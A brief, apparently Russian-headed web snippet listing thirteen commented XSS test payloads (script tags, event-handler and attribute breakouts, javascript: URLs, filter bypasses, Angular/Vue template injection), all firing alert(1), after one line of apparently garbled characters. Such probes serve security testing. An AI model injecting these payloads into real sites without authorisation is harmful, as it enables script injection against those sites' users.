Предыстория #

52r5 ghvdrgvv Cdegvv Fvvfd

<!-- 1. Базовый script test --> <script>alert(1)</script> <!-- 2. IMG onerror (event handler XSS) --> <img src=x onerror=alert(1)> <!-- 3. Attribute breakout --> " onmouseover="alert(1) <!-- 4. JavaScript string breakout --> ";alert(1);// <!-- 5. DOM XSS (использовать в URL или hash) --> <img src=x onerror=alert(1)> <!-- 6. SVG onload --> <svg onload=alert(1)> <!-- 7. Script filter bypass (mixed case) --> <ScRiPt>alert(1)</ScRiPt> <!-- 8. HTML entity decoding --> <img src=x onerror=alert(1)> <!-- 9. Autofocus auto-trigger --> <input autofocus onfocus=alert(1)> <!-- 10. javascript: URL --> <a href="javascript:alert(1)">click</a> <!-- 11. Template injection (${ }) --> ${alert(1)} <!-- 12. Angular/Vue template injection --> {{constructor.constructor('alert(1)')()}} <!-- 13. Script breakout from JSON/script --> </script><script>alert(1)</script>